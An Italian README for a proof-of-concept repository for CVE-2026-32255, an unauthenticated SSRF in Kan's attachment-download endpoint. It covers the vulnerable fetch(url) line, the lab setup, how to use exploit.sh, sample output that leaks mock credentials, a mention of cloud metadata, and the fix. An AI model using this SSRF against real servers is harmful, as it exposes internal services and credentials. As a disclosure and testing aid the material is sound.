
Questo repository contiene una proof of concept (POC) per CVE-2026-32255, una vulnerabilità di Server-Side Request Forgery (SSRF) ad alta gravità in Kan, uno strumento open-source di gestione progetti.
Questo repository contiene una proof of concept (POC) per CVE-2026-32255, una vulnerabilità di Server-Side Request Forgery (SSRF) ad alta gravità in Kan, uno strumento open-source di gestione progetti.
L'endpoint vulnerabile consente ad attaccanti non autenticati di effettuare richieste HTTP arbitrarie dal server e di leggere la risposta completa, consentendo l'accesso a servizi interni ed endpoint di metadata cloud.
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:NIl file apps/web/src/pages/api/download/attatchment.ts espone un endpoint GET /api/download/attatchment progettato per fare da proxy ai download degli allegati dallo storage S3. L'endpoint accetta un parametro query url controllato dall'utente e lo passa direttamente a fetch() lato server senza alcuna validazione o autenticazione:
const upstream = await fetch(url); // nessuna validazione su `url`
Un attaccante può fornire qualsiasi URL, facendo sì che il server effettui una richiesta HTTP verso quella destinazione e restituisca il corpo completo della risposta al client. Si tratta di una SSRF a lettura completa (non cieca), il che significa che l'attaccante può leggere l'intero contenuto della risposta.
http://169.254.169.254/ su AWS/GCP)Clonare ed eseguire Kan v0.5.4 (l'ultima versione vulnerabile):
git clone --branch v0.5.4 https://github.com/kanbn/kan.git
cd kan
Configurare le variabili d'ambiente richieste:
cat > .env <<'EOF'
NEXT_PUBLIC_BASE_URL=http://localhost:3000
BETTER_AUTH_SECRET=poc-secret-not-for-production-use
POSTGRES_URL=postgresql://kan:kan@localhost:5432/kan_db
POSTGRES_PASSWORD=kan
REDIS_URL=redis://localhost:6379
NEXT_PUBLIC_STORAGE_URL=http://localhost:9000
EOF
Nota: Se si riceve un errore relativo a
dokploy-network, rimuovere i riferimenti adokploy-networkdadocker-compose.yml(righe 9, 130-131) ed eseguire nuovamentedocker compose up -d. Questa rete non è necessaria in locale.
Avviare i container:
docker compose up -d
L'applicazione dovrebbe essere disponibile all'indirizzo http://localhost:3000.
In un terminale separato, avviare il servizio interno mock incluso che simula un'API interna sensibile:
python3 internal-service.py
Questo avvia un server sulla porta 8888 che restituisce credenziali fittizie, simulando un servizio che dovrebbe essere accessibile solo dalla rete interna. In uno scenario reale, questo servizio sarebbe isolato dietro un firewall e irraggiungibile dall'esterno. La SSRF consente all'attaccante di raggiungerlo tramite il server.
chmod +x exploit.sh
./exploit.sh http://localhost:3000
./exploit.sh <url-target> [url-interno]
<url-target>: URL di base dell'istanza Kan (ad es., http://localhost:3000)[url-interno]: URL interno da recuperare tramite SSRF (opzionale, rilevato automaticamente dal gateway del bridge Docker)./exploit.sh http://localhost:3000
=== CVE-2026-32255 - Kan SSRF tramite Download Allegati ===
Target: http://localhost:3000
URL interno: http://172.17.0.1:8888
[*] Verifica se l'endpoint è raggiungibile...
[+] Endpoint raggiungibile (HTTP 400)
[*] Tentativo di SSRF verso http://172.17.0.1:8888 ...
[+] VULNERABILE - Il server ha recuperato la risorsa interna
Contenuto esfiltrato:
------------------------------------------------------------
{
"service": "internal-config-api",
"credentials": {
"db_host": "10.0.0.5",
"db_user": "admin",
"db_password": "s3cret_passw0rd!",
"api_key": "sk-internal-4f8a2b1c9d3e7f6a5b0c8d2e1f4a7b3c"
}
}
------------------------------------------------------------
Aggiornare a Kan v0.5.5 o successivo, che valida il parametro url rispetto al nome host dell'endpoint S3 configurato prima di fare da proxy alla richiesta.
Se non è possibile aggiornare immediatamente, bloccare l'accesso esterno all'endpoint vulnerabile a livello di reverse proxy.
Questa proof of concept è fornita solo per scopi educativi e test di sicurezza autorizzati. Utilizzare questo strumento esclusivamente su sistemi di propria proprietà o per i quali si dispone di esplicita autorizzazione scritta.
L'autore non è responsabile per qualsiasi uso improprio delle informazioni o degli strumenti forniti in questo repository. L'accesso non autorizzato a sistemi informatici è illegale.
Scoperto da: kOaDT ([email protected])